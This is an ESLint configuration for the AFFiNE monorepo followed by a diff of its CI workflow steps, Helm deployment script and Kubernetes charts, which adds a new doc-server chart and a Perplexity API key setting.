'packages/common/env',
'packages/common/infra',
'packages/common/theme',
'tools/cli',
];
/**
* @type {import('eslint').Linter.Config}
*/
const config = {
root: true,
settings: {
react: {
version: 'detect',
},
next: {
rootDir: 'packages/frontend/core',
},
},
extends: [
'eslint:recommended',
'plugin:react-hooks/recommended',
'plugin:react/recommended',
'plugin:react/jsx-runtime',
'plugin:@typescript-eslint/recommended',
'prettier',
],
parser: '@typescript-eslint/parser',
parserOptions: {
ecmaFeatures: {
globalReturn: false,
impliedStrict: true,
jsx: true,
},
ecmaVersion: 'latest',
sourceType: 'module',
project: join(__dirname, 'tsconfig.eslint.json'),
},
plugins: [
'react',
'@typescript-eslint',
'simple-import-sort',
'sonarjs',
'import-x',
'unused-imports',
'unicorn',
'rxjs',
],
rules: {
'array-callback-return': 'error',
'no-undef': 'off',
'no-empty': 'off',
'no-func-assign': 'off',
'no-cond-assign': 'off',
'no-constant-binary-expression': 'error',
'no-constructor-return': 'error',
'no-self-compare': 'error',
eqeqeq: ['error', 'always', { null: 'ignore' }],
'react/prop-types': 'off',
'react/jsx-no-useless-fragment': 'error',
'@typescript-eslint/consistent-type-imports': 'error',
'@typescript-eslint/no-non-null-assertion': 'error',
'@typescript-eslint/no-explicit-any': 'off',
'@typescript-eslint/no-empty-function': 'off',
'@typescript-eslint/await-thenable': 'error',
'@typescript-eslint/require-array-sort-compare': 'error',
'@typescript-eslint/unified-signatures': 'error',
'@typescript-eslint/prefer-for-of': 'error',
'@typescript-eslint/no-unused-vars': [
'error',
{
varsIgnorePattern: '^_',
argsIgnorePattern: '^_',
caughtErrorsIgnorePattern: '^_',
},
],
'unused-imports/no-unused-imports': 'error',
'simple-import-sort/imports': 'error',
'simple-import-sort/exports': 'error',
'import-x/no-duplicates': 'error',
'@typescript-eslint/ban-ts-comment': [
'error',
{
'ts-expect-error': 'allow-with-description',
'ts-ignore': true,
'ts-nocheck': true,
'ts-check': false,
},
],
'@typescript-eslint/no-restricted-imports': [
'error',
{
patterns: [
{
group: ['**/dist'],
message: "Don't import from dist",
allowTypeImports: false,
},
{
group: ['**/src'],
message: "Don't import from src",
allowTypeImports: false,
},
{
group: ['@blocksuite/store'],
message: "Import from '@blocksuite/global/utils'",
importNames: ['assertExists', 'assertEquals'],
},
],
},
],
'unicorn/filename-case': [
'error',
{
case: 'kebabCase',
ignore: ['^\\[[a-zA-Z0-9-_]+\\]\\.tsx$'],
},
],
'unicorn/no-unnecessary-await': 'error',
'unicorn/no-useless-fallback-in-spread': 'error',
'unicorn/prefer-dom-node-dataset': 'error',
'unicorn/prefer-dom-node-append': 'error',
'unicorn/prefer-dom-node-remove': 'error',
'unicorn/prefer-array-some': 'error',
'unicorn/prefer-date-now': 'error',
'unicorn/prefer-blob-reading-methods': 'error',
'unicorn/no-typeof-undefined': 'error',
'unicorn/no-useless-promise-resolve-reject': 'error',
'unicorn/no-new-array': 'error',
'unicorn/new-for-builtins': 'error',
'unicorn/prefer-node-protocol': 'error',
'sonarjs/no-all-duplicated-branches': 'error',
'sonarjs/no-element-overwrite': 'error',
'sonarjs/no-empty-collection': 'error',
'sonarjs/no-extra-arguments': 'error',
'sonarjs/no-identical-conditions': 'error',
'sonarjs/no-identical-expressions': 'error',
'sonarjs/no-ignored-return': 'error',
'sonarjs/no-one-iteration-loop': 'error',
'sonarjs/no-use-of-empty-return-value': 'error',
'sonarjs/non-existent-operator': 'error',
'sonarjs/no-collapsible-if': 'error',
'sonarjs/no-same-line-conditional': 'error',
'sonarjs/no-duplicated-branches': 'error',
'sonarjs/no-collection-size-mischeck': 'error',
'sonarjs/no-useless-catch': 'error',
'sonarjs/no-identical-functions': 'error',
'rxjs/finnish': [
'error',
{
functions: false,
methods: false,
strict: true,
types: {
'^LiveData$': true,
// some yjs classes are Observables, but they don't need to be in Finnish notation
'^Doc$': false, // yjs Doc
'^Awareness$': false, // yjs Awareness
'^UndoManager$': false, // yjs UndoManager
},
},
],
},
overrides: [
{
files: 'packages/backend/server/**/*.ts',
rules: {
'@typescript-eslint/consistent-type-imports': 0,
},
},
{
files: '*.cjs',
rules: {
'@typescript-eslint/no-var-requires': 0,
},
},
...allPackages.map(pkg => ({
files: [`${pkg}/src/**/*.ts`, `${pkg}/src/**/*.tsx`, `${pkg}/**/*.mjs`],
rules: {
'@typescript-eslint/no-restricted-imports': [
'error',
{
patterns: createPattern(pkg),
},
],
'@typescript-eslint/no-floating-promises': [
'error',
{
ignoreVoid: false,
ignoreIIFE: false,
},
],
'@typescript-eslint/no-misused-promises': ['error'],
'@typescript-eslint/prefer-readonly': 'error',
'import-x/no-extraneous-dependencies': ['error'],
'react-hooks/exhaustive-deps': [
'warn',
{
additionalHooks:
'(useAsyncCallback|useCatchEventCallback|useDraggable|useDropTarget|useRefEffect)',
},
],
},
})),
{
files: [
'**/__tests__/**/*',
'**/*.stories.tsx',
'**/*.spec.ts',
'**/tests/**/*',
'scripts/**/*',
'**/benchmark/**/*',
'**/__debug__/**/*',
'**/e2e/**/*',
],
rules: {
'@typescript-eslint/no-non-null-assertion': 0,
'@typescript-eslint/ban-ts-comment': [
'error',
{
'ts-expect-error': false,
'ts-ignore': true,
'ts-nocheck': true,
'ts-check': false,
},
],
'@typescript-eslint/no-floating-promises': 0,
'@typescript-eslint/no-misused-promises': 0,
'@typescript-eslint/no-restricted-imports': 0,
},
},
],
};
module.exports = config;

2
.github/CODEOWNERS vendored
View File

@@ -0,0 +1,2 @@
/blocksuite/ @toeverything/blocksuite-core
/packages/frontend/core/src/blocksuite @toeverything/blocksuite-core

View File

@@ -7,9 +7,10 @@ inputs:
package:
description: 'Package to build'
required: true
nx_token:
description: 'Nx Cloud access token'
no-build:
description: 'Whether to skip building'
required: false
default: 'false'
runs:
using: 'composite'
@@ -17,39 +18,72 @@ runs:
- name: Print rustup toolchain version
shell: bash
id: rustup-version
working-directory: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}
run: |
export RUST_TOOLCHAIN_VERSION="$(grep 'channel' rust-toolchain.toml | head -1 | awk -F '"' '{print $2}')"
echo "Rust toolchain version: $RUST_TOOLCHAIN_VERSION"
echo "RUST_TOOLCHAIN_VERSION=$RUST_TOOLCHAIN_VERSION" >> "$GITHUB_OUTPUT"
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
if: ${{ runner.os != 'Windows' }}
with:
toolchain: '${{ steps.rustup-version.outputs.RUST_TOOLCHAIN_VERSION }}'
targets: ${{ inputs.target }}
env:
CARGO_INCREMENTAL: '1'
- name: Setup Rust
uses: dtolnay/rust-toolchain@stable
if: ${{ runner.os == 'Windows' }}
with:
toolchain: '${{ steps.rustup-version.outputs.RUST_TOOLCHAIN_VERSION }}'
targets: ${{ inputs.target }}
env:
CARGO_INCREMENTAL: '1'
CARGO_HOME: ${{ env.DEV_DRIVE }}/.cargo
RUSTUP_HOME: ${{ env.DEV_DRIVE }}/.rustup
- name: Set CC
if: ${{ contains(inputs.target, 'linux') && inputs.package != '@affine/native' }}
if: ${{ contains(inputs.target, 'linux') && inputs.package != '@affine/native' && inputs.no-build != 'true' }}
working-directory: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}
shell: bash
run: |
echo "CC=clang" >> "$GITHUB_ENV"
echo "TARGET_CC=clang" >> "$GITHUB_ENV"
- name: Cache cargo
uses: actions/cache@v4
uses: Swatinem/rust-cache@v2
if: ${{ runner.os == 'Windows' }}
with:
path: |
~/.cargo/registry/index/
~/.cargo/registry/cache/
~/.cargo/git/db/
~/.napi-rs
target/${{ inputs.target }}
key: stable-${{ inputs.target }}-cargo-cache
workspaces: ${{ env.DEV_DRIVE_WORKSPACE }}
save-if: ${{ github.ref_name == 'canary' }}
shared-key: ${{ inputs.target }}-${{ inputs.package }}
env:
CARGO_HOME: ${{ env.DEV_DRIVE }}/.cargo
RUSTUP_HOME: ${{ env.DEV_DRIVE }}/.rustup
- name: Cache cargo
uses: Swatinem/rust-cache@v2
if: ${{ runner.os != 'Windows' }}
with:
save-if: ${{ github.ref_name == 'canary' }}
shared-key: ${{ inputs.target }}-${{ inputs.package }}
- name: Build
shell: bash
if: ${{ runner.os != 'Windows' && inputs.no-build != 'true' }}
run: |
yarn workspace ${{ inputs.package }} build --target ${{ inputs.target }} --use-napi-cross
env:
NX_CLOUD_ACCESS_TOKEN: ${{ inputs.nx_token }}
DEBUG: 'napi:*'
- name: Build
working-directory: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}
shell: bash
if: ${{ runner.os == 'Windows' && inputs.no-build != 'true' }}
run: |
yarn workspace ${{ inputs.package }} build --target ${{ inputs.target }} --use-napi-cross
env:
DEBUG: 'napi:*'
CARGO_HOME: ${{ env.DEV_DRIVE }}/.cargo
RUSTUP_HOME: ${{ env.DEV_DRIVE }}/.rustup

View File

@@ -3,7 +3,7 @@ description: 'Run Copilot E2E Test'
inputs:
script:
description: 'Script to run'
default: 'yarn workspace @affine-test/affine-cloud-copilot e2e --forbid-only'
default: 'yarn affine @affine-test/affine-cloud-copilot e2e --forbid-only'
required: false
openai-key:
description: 'OpenAI secret key'
@@ -26,6 +26,7 @@ runs:
DEV_SERVER_URL: http://localhost:8080
COPILOT_OPENAI_API_KEY: ${{ inputs.openai-key }}
COPILOT_FAL_API_KEY: ${{ inputs.fal-key }}
COPILOT_PERPLEXITY_API_KEY: ${{ inputs.perplexity-key }}
- name: Upload test results
if: ${{ failure() }}

View File

@@ -17,6 +17,7 @@ const {
METRICS_CUSTOMER_IO_TOKEN,
COPILOT_OPENAI_API_KEY,
COPILOT_FAL_API_KEY,
COPILOT_PERPLEXITY_API_KEY,
COPILOT_UNSPLASH_API_KEY,
MAILER_SENDER,
MAILER_USER,
@@ -41,23 +42,26 @@ const isBeta = buildType === 'beta';
const isInternal = buildType === 'internal';
const replicaConfig = {
production: {
stable: {
web: 3,
graphql: Number(process.env.PRODUCTION_GRAPHQL_REPLICA) || 3,
sync: Number(process.env.PRODUCTION_SYNC_REPLICA) || 3,
renderer: Number(process.env.PRODUCTION_RENDERER_REPLICA) || 3,
doc: Number(process.env.PRODUCTION_DOC_REPLICA) || 3,
},
beta: {
web: 2,
graphql: Number(process.env.BETA_GRAPHQL_REPLICA) || 2,
sync: Number(process.env.BETA_SYNC_REPLICA) || 2,
renderer: Number(process.env.BETA_RENDERER_REPLICA) || 2,
doc: Number(process.env.BETA_DOC_REPLICA) || 2,
},
canary: {
web: 2,
graphql: 2,
sync: 2,
renderer: 2,
doc: 2,
},
};
@@ -66,12 +70,14 @@ const cpuConfig = {
web: '300m',
graphql: '1',
sync: '1',
doc: '1',
renderer: '300m',
},
canary: {
web: '300m',
graphql: '1',
sync: '1',
doc: '1',
renderer: '300m',
},
};
@@ -110,6 +116,7 @@ const createHelmCommand = ({ isDryRun }) => {
`--set web.resources.requests.cpu="${cpu.web}"`,
`--set graphql.resources.requests.cpu="${cpu.graphql}"`,
`--set sync.resources.requests.cpu="${cpu.sync}"`,
`--set doc.resources.requests.cpu="${cpu.doc}"`,
]
: [];
@@ -147,6 +154,7 @@ const createHelmCommand = ({ isDryRun }) => {
`--set graphql.app.copilot.enabled=true`,
`--set-string graphql.app.copilot.openai.key="${COPILOT_OPENAI_API_KEY}"`,
`--set-string graphql.app.copilot.fal.key="${COPILOT_FAL_API_KEY}"`,
`--set-string graphql.app.copilot.perplexity.key="${COPILOT_PERPLEXITY_API_KEY}"`,
`--set-string graphql.app.copilot.unsplash.key="${COPILOT_UNSPLASH_API_KEY}"`,
`--set-string graphql.app.mailer.sender="${MAILER_SENDER}"`,
`--set-string graphql.app.mailer.user="${MAILER_USER}"`,
@@ -166,6 +174,9 @@ const createHelmCommand = ({ isDryRun }) => {
`--set-string renderer.image.tag="${imageTag}"`,
`--set renderer.app.host=${host}`,
`--set renderer.replicaCount=${replica.renderer}`,
`--set-string doc.image.tag="${imageTag}"`,
`--set doc.app.host=${host}`,
`--set doc.replicaCount=${replica.doc}`,
...serviceAnnotations,
...resources,
`--timeout 10m`,

View File

@@ -15,7 +15,9 @@ runs:
- name: Run init-db script
shell: bash
env:
NODE_ENV: test
run: |
yarn workspace @affine/server exec prisma generate
yarn workspace @affine/server exec prisma db push
yarn workspace @affine/server data-migration run
yarn affine @affine/server prisma generate
yarn affine @affine/server prisma db push
yarn affine @affine/server data-migration run

View File

@@ -35,10 +35,19 @@ inputs:
full-cache:
description: 'Full installation cache'
required: false
runs:
using: 'composite'
steps:
- name: Output workspace path
id: workspace-path
shell: bash
run: |
if [ -n "${{ env.DEV_DRIVE_WORKSPACE }}" ]; then
echo "workspace_path=${{ env.DEV_DRIVE_WORKSPACE }}" >> $GITHUB_OUTPUT
else
echo "workspace_path=${{ github.workspace }}" >> $GITHUB_OUTPUT
fi
- name: Setup Node.js
uses: actions/setup-node@v4
with:
@@ -46,29 +55,37 @@ runs:
registry-url: https://npm.pkg.github.com
scope: '@toeverything'
- uses: kenchan0130/actions-system-info@master
id: system-info
- name: Init CorePack
if: ${{ inputs.corepack-install == 'true' }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: corepack enable
- name: Set nmMode
if: ${{ inputs.hard-link-nm == 'false' }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: yarn config set nmMode classic
- name: Set nmHoistingLimits
if: ${{ inputs.nmHoistingLimits }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: yarn config set nmHoistingLimits ${{ inputs.nmHoistingLimits }}
- name: Set enableScripts
if: ${{ inputs.enableScripts == 'false' }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: yarn config set enableScripts false
- name: Set yarn global cache path
shell: bash
id: yarn-cache
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: node -e "const p = $(yarn config cacheFolder --json).effective; console.log('yarn_global_cache=' + p)" >> $GITHUB_OUTPUT
- name: Cache non-full yarn cache on Linux
@@ -76,9 +93,9 @@ runs:
if: ${{ inputs.full-cache != 'true' && runner.os == 'Linux' }}
with:
path: |
node_modules
${{ steps.workspace-path.outputs.workspace_path }}/node_modules
${{ steps.yarn-cache.outputs.yarn_global_cache }}
key: node_modules-cache-${{ github.job }}-${{ runner.os }}
key: node_modules-cache-${{ github.job }}-${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}
# The network performance on macOS is very poor
# and the decompression performance on Windows is very terrible
@@ -89,7 +106,7 @@ runs:
with:
path: |
${{ steps.yarn-cache.outputs.yarn_global_cache }}
key: node_modules-cache-${{ github.job }}-${{ runner.os }}
key: node_modules-cache-${{ github.job }}-${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}
- name: Cache full yarn cache on Linux
uses: actions/cache@v4
@@ -98,7 +115,7 @@ runs:
path: |
node_modules
${{ steps.yarn-cache.outputs.yarn_global_cache }}
key: node_modules-cache-full-${{ runner.os }}
key: node_modules-cache-full-${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}
- name: Cache full yarn cache on non-Linux
uses: actions/cache@v4
@@ -106,23 +123,13 @@ runs:
with:
path: |
${{ steps.yarn-cache.outputs.yarn_global_cache }}
key: node_modules-cache-full-${{ runner.os }}
key: node_modules-cache-full-${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}
- name: yarn install
if: ${{ inputs.package-install == 'true' }}
continue-on-error: true
shell: bash
run: yarn ${{ inputs.extra-flags }}
env:
HUSKY: '0'
PLAYWRIGHT_SKIP_BROWSER_DOWNLOAD: '1'
ELECTRON_SKIP_BINARY_DOWNLOAD: '1'
SENTRYCLI_SKIP_DOWNLOAD: '1'
DEBUG: '*'
- name: yarn install (try again)
if: ${{ steps.install.outcome == 'failure' }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: yarn ${{ inputs.extra-flags }}
env:
HUSKY: '0'
@@ -135,6 +142,7 @@ runs:
id: playwright-version
if: ${{ inputs.playwright-install == 'true' }}
shell: bash
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
run: echo "version=$(yarn why --json @playwright/test | grep -h 'workspace:.' | jq --raw-output '.children[].locator' | sed -e 's/@playwright\/test@.*://' | head -n 1)" >> $GITHUB_OUTPUT
# Attempt to restore the correct Playwright browser binaries based on the
@@ -147,8 +155,8 @@ runs:
id: playwright-cache
if: ${{ inputs.playwright-install == 'true' }}
with:
path: ${{ github.workspace }}/node_modules/.cache/ms-playwright
key: '${{ runner.os }}-playwright-${{ steps.playwright-version.outputs.version }}'
path: ${{ steps.workspace-path.outputs.workspace_path }}/node_modules/.cache/ms-playwright
key: '${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}-playwright-${{ steps.playwright-version.outputs.version }}'
# As a fallback, if the Playwright version has changed, try use the
# most recently cached version. There's a good chance that at least one
# of the browser binary versions haven't been updated, so Playwright can
@@ -158,7 +166,7 @@ runs:
# date cache, but still let Playwright decide if it needs to download
# new binaries or not.
restore-keys: |
${{ runner.os }}-playwright-
${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}-playwright-
# If the Playwright browser binaries weren't able to be restored, we tell
# playwright to install everything for us.
@@ -166,12 +174,14 @@ runs:
shell: bash
if: inputs.playwright-install == 'true'
run: yarn playwright install --with-deps chromium webkit
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
env:
PLAYWRIGHT_BROWSERS_PATH: ${{ github.workspace }}/node_modules/.cache/ms-playwright
PLAYWRIGHT_BROWSERS_PATH: ${{ steps.workspace-path.outputs.workspace_path }}/node_modules/.cache/ms-playwright
- name: Get installed Electron version
id: electron-version
if: ${{ inputs.electron-install == 'true' }}
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
shell: bash
run: |
echo "version=$(yarn why --json electron | grep -h 'workspace:.' | jq --raw-output '.children[].locator' | sed -e 's/@playwright\/test@.*://' | head -n 1)" >> $GITHUB_OUTPUT
@@ -180,14 +190,20 @@ runs:
id: electron-cache
if: ${{ inputs.electron-install == 'true' }}
with:
path: 'node_modules/.cache/electron'
key: '${{ runner.os }}-electron-${{ steps.electron-version.outputs.version }}'
path: ${{ steps.workspace-path.outputs.workspace_path }}/node_modules/.cache/electron
key: '${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}-electron-${{ steps.electron-version.outputs.version }}'
restore-keys: |
${{ runner.os }}-electron-
${{ runner.os }}-${{ runner.arch }}-${{ steps.system-info.outputs.name }}-${{ steps.system-info.outputs.release }}-${{ steps.system-info.outputs.version }}-electron-
- name: Install Electron binary
shell: bash
if: inputs.electron-install == 'true'
run: node ./node_modules/electron/install.js
working-directory: ${{ steps.workspace-path.outputs.workspace_path }}
env:
electron_config_cache: ./node_modules/.cache/electron
electron_config_cache: ${{ steps.workspace-path.outputs.workspace_path }}/node_modules/.cache/electron
- name: Write PLAYWRIGHT_BROWSERS_PATH env
shell: bash
run: |
echo "PLAYWRIGHT_BROWSERS_PATH=${{ steps.workspace-path.outputs.workspace_path }}/node_modules/.cache/ms-playwright" >> $GITHUB_ENV

View File

@@ -1,4 +1,4 @@
FROM openresty/openresty:1.25.3.2-0-buster
FROM openresty/openresty:1.27.1.1-0-buster
WORKDIR /app
COPY ./packages/frontend/apps/web/dist ./dist
COPY ./packages/frontend/admin/dist ./admin

View File

@@ -1,4 +1,4 @@
FROM node:20-bookworm-slim
FROM node:22-bookworm-slim
COPY ./packages/backend/server /app
COPY ./packages/frontend/apps/web/dist /app/static

View File

@@ -3,4 +3,4 @@ name: affine
description: AFFiNE cloud chart
type: application
version: 0.0.0
appVersion: "0.17.0"
appVersion: "0.20.0"

View File

@@ -0,0 +1,11 @@
apiVersion: v2
name: doc
description: AFFiNE doc server
type: application
version: 0.0.0
appVersion: "0.20.0"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0
repository: "file://../gcloud-sql-proxy"
condition: .global.database.gcloud.enabled

View File

@@ -0,0 +1,16 @@
1. Get the application URL by running these commands:
{{- if contains "NodePort" .Values.service.type }}
export NODE_PORT=$(kubectl get --namespace {{ .Release.Namespace }} -o jsonpath="{.spec.ports[0].nodePort}" services {{ include "doc.fullname" . }})
export NODE_IP=$(kubectl get nodes --namespace {{ .Release.Namespace }} -o jsonpath="{.items[0].status.addresses[0].address}")
echo http://$NODE_IP:$NODE_PORT
{{- else if contains "LoadBalancer" .Values.service.type }}
NOTE: It may take a few minutes for the LoadBalancer IP to be available.
You can watch the status of by running 'kubectl get --namespace {{ .Release.Namespace }} svc -w {{ include "doc.fullname" . }}'
export SERVICE_IP=$(kubectl get svc --namespace {{ .Release.Namespace }} {{ include "doc.fullname" . }} --template "{{"{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}"}}")
echo http://$SERVICE_IP:{{ .Values.service.port }}
{{- else if contains "ClusterIP" .Values.service.type }}
export POD_NAME=$(kubectl get pods --namespace {{ .Release.Namespace }} -l "app.kubernetes.io/name={{ include "doc.name" . }},app.kubernetes.io/instance={{ .Release.Name }}" -o jsonpath="{.items[0].metadata.name}")
export CONTAINER_PORT=$(kubectl get pod --namespace {{ .Release.Namespace }} $POD_NAME -o jsonpath="{.spec.containers[0].ports[0].containerPort}")
echo "Visit http://127.0.0.1:8080 to use your application"
kubectl --namespace {{ .Release.Namespace }} port-forward $POD_NAME 8080:$CONTAINER_PORT
{{- end }}

View File

@@ -0,0 +1,63 @@
{{/*
Expand the name of the chart.
*/}}
{{- define "doc.name" -}}
{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Create a default fully qualified app name.
We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).
If release name contains chart name it will be used as a full name.
*/}}
{{- define "doc.fullname" -}}
{{- if .Values.fullnameOverride }}
{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- $name := default .Chart.Name .Values.nameOverride }}
{{- if contains $name .Release.Name }}
{{- .Release.Name | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }}
{{- end }}
{{- end }}
{{- end }}
{{/*
Create chart name and version as used by the chart label.
*/}}
{{- define "doc.chart" -}}
{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Common labels
*/}}
{{- define "doc.labels" -}}
helm.sh/chart: {{ include "doc.chart" . }}
{{ include "doc.selectorLabels" . }}
{{- if .Chart.AppVersion }}
app.kubernetes.io/version: {{ .Chart.AppVersion | quote }}
{{- end }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
monitoring: enabled
{{- end }}
{{/*
Selector labels
*/}}
{{- define "doc.selectorLabels" -}}
app.kubernetes.io/name: {{ include "doc.name" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
{{- end }}
{{/*
Create the name of the service account to use
*/}}
{{- define "doc.serviceAccountName" -}}
{{- if .Values.serviceAccount.create }}
{{- default (include "doc.fullname" .) .Values.global.docService.name }}
{{- else }}
{{- default "default" .Values.global.docService.name }}
{{- end }}
{{- end }}

View File

@@ -0,0 +1,105 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: {{ include "doc.fullname" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
spec:
replicas: {{ .Values.replicaCount }}
selector:
matchLabels:
{{- include "doc.selectorLabels" . | nindent 6 }}
template:
metadata:
{{- with .Values.podAnnotations }}
annotations:
{{- toYaml . | nindent 8 }}
{{- end }}
labels:
{{- include "doc.selectorLabels" . | nindent 8 }}
spec:
{{- with .Values.imagePullSecrets }}
imagePullSecrets:
{{- toYaml . | nindent 8 }}
{{- end }}
serviceAccountName: {{ include "doc.serviceAccountName" . }}
containers:
- name: {{ .Chart.Name }}
image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}"
imagePullPolicy: {{ .Values.image.pullPolicy }}
env:
- name: AFFINE_PRIVATE_KEY
valueFrom:
secretKeyRef:
name: "{{ .Values.global.secret.secretName }}"
key: key
- name: NODE_ENV
value: "{{ .Values.env }}"
- name: NODE_OPTIONS
value: "--max-old-space-size=4096"
- name: NO_COLOR
value: "1"
- name: DEPLOYMENT_TYPE
value: "affine"
- name: SERVER_FLAVOR
value: "doc"
- name: AFFINE_ENV
value: "{{ .Release.Namespace }}"
- name: DATABASE_PASSWORD
valueFrom:
secretKeyRef:
name: pg-postgresql
key: postgres-password
- name: DATABASE_URL
value: postgres://{{ .Values.global.database.user }}:$(DATABASE_PASSWORD)@{{ .Values.global.database.url }}:{{ .Values.global.database.port }}/{{ .Values.global.database.name }}
- name: REDIS_SERVER_ENABLED
value: "true"
- name: REDIS_SERVER_HOST
value: "{{ .Values.global.redis.host }}"
- name: REDIS_SERVER_PORT
value: "{{ .Values.global.redis.port }}"
- name: REDIS_SERVER_USER
value: "{{ .Values.global.redis.username }}"
- name: REDIS_SERVER_PASSWORD
valueFrom:
secretKeyRef:
name: redis
key: redis-password
- name: REDIS_SERVER_DATABASE
value: "{{ .Values.global.redis.database }}"
- name: AFFINE_SERVER_PORT
value: "{{ .Values.global.docService.port }}"
- name: AFFINE_SERVER_SUB_PATH
value: "{{ .Values.app.path }}"
- name: AFFINE_SERVER_HOST
value: "{{ .Values.app.host }}"
- name: AFFINE_SERVER_HTTPS
value: "{{ .Values.app.https }}"
ports:
- name: http
containerPort: {{ .Values.global.docService.port }}
protocol: TCP
livenessProbe:
httpGet:
path: /info
port: http
initialDelaySeconds: {{ .Values.probe.initialDelaySeconds }}
readinessProbe:
httpGet:
path: /info
port: http
initialDelaySeconds: {{ .Values.probe.initialDelaySeconds }}
resources:
{{- toYaml .Values.resources | nindent 12 }}
{{- with .Values.nodeSelector }}
nodeSelector:
{{- toYaml . | nindent 8 }}
{{- end }}
{{- with .Values.affinity }}
affinity:
{{- toYaml . | nindent 8 }}
{{- end }}
{{- with .Values.tolerations }}
tolerations:
{{- toYaml . | nindent 8 }}
{{- end }}

View File

@@ -0,0 +1,19 @@
apiVersion: v1
kind: Service
metadata:
name: {{ include "doc.fullname" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
{{- with .Values.service.annotations }}
annotations:
{{- toYaml . | nindent 4 }}
{{- end }}
spec:
type: {{ .Values.service.type }}
ports:
- port: {{ .Values.global.docService.port }}
targetPort: http
protocol: TCP
name: http
selector:
{{- include "doc.selectorLabels" . | nindent 4 }}

View File

@@ -0,0 +1,12 @@
{{- if .Values.serviceAccount.create -}}
apiVersion: v1
kind: ServiceAccount
metadata:
name: {{ include "doc.serviceAccountName" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
{{- with .Values.serviceAccount.annotations }}
annotations:
{{- toYaml . | nindent 4 }}
{{- end }}
{{- end }}

View File

@@ -0,0 +1,15 @@
apiVersion: v1
kind: Pod
metadata:
name: "{{ include "doc.fullname" . }}-test-connection"
labels:
{{- include "doc.labels" . | nindent 4 }}
annotations:
"helm.sh/hook": test
spec:
containers:
- name: wget
image: busybox
command: ['wget']
args: ['{{ include "doc.fullname" . }}:{{ .Values.global.docService.port }}']
restartPolicy: Never

View File

@@ -0,0 +1,37 @@
replicaCount: 1
image:
repository: ghcr.io/toeverything/affine-graphql
pullPolicy: IfNotPresent
tag: ''
imagePullSecrets: []
nameOverride: ''
fullnameOverride: ''
# map to NODE_ENV environment variable
env: 'production'
app:
# AFFINE_SERVER_SUB_PATH
path: ''
# AFFINE_SERVER_HOST
host: '0.0.0.0'
https: true
serviceAccount:
create: true
annotations: {}
podAnnotations: {}
podSecurityContext:
fsGroup: 2000
resources:
requests:
cpu: '2'
memory: 4Gi
probe:
initialDelaySeconds: 20
nodeSelector: {}
tolerations: []
affinity: {}

View File

@@ -3,7 +3,7 @@ name: graphql
description: AFFiNE GraphQL server
type: application
version: 0.0.0
appVersion: "0.17.0"
appVersion: "0.20.0"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -7,5 +7,6 @@ type: Opaque
data:
openaiSecret: {{ .Values.app.copilot.openai.key | b64enc }}
falSecret: {{ .Values.app.copilot.fal.key | b64enc }}
perplexitySecret: {{ .Values.app.copilot.perplexity.key | b64enc }}
unsplashSecret: {{ .Values.app.copilot.unsplash.key | b64enc }}
{{- end }}

View File

@@ -116,8 +116,8 @@ spec:
secretKeyRef:
name: "{{ .Values.app.payment.stripe.secretName }}"
key: stripeWebhookKey
- name: DOC_MERGE_INTERVAL
value: "{{ .Values.app.doc.mergeInterval }}"
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
{{ if .Values.app.experimental.enableJwstCodec }}
- name: DOC_MERGE_USE_JWST_CODEC
value: "true"
@@ -157,6 +157,11 @@ spec:
secretKeyRef:
name: "{{ .Values.app.copilot.secretName }}"
key: falSecret
- name: COPILOT_PERPLEXITY_API_KEY
valueFrom:
secretKeyRef:
name: "{{ .Values.app.copilot.secretName }}"
key: perplexitySecret
- name: COPILOT_UNSPLASH_API_KEY
valueFrom:
secretKeyRef:

View File

@@ -17,8 +17,6 @@ app:
# AFFINE_SERVER_HOST
host: '0.0.0.0'
https: true
doc:
mergeInterval: "3000"
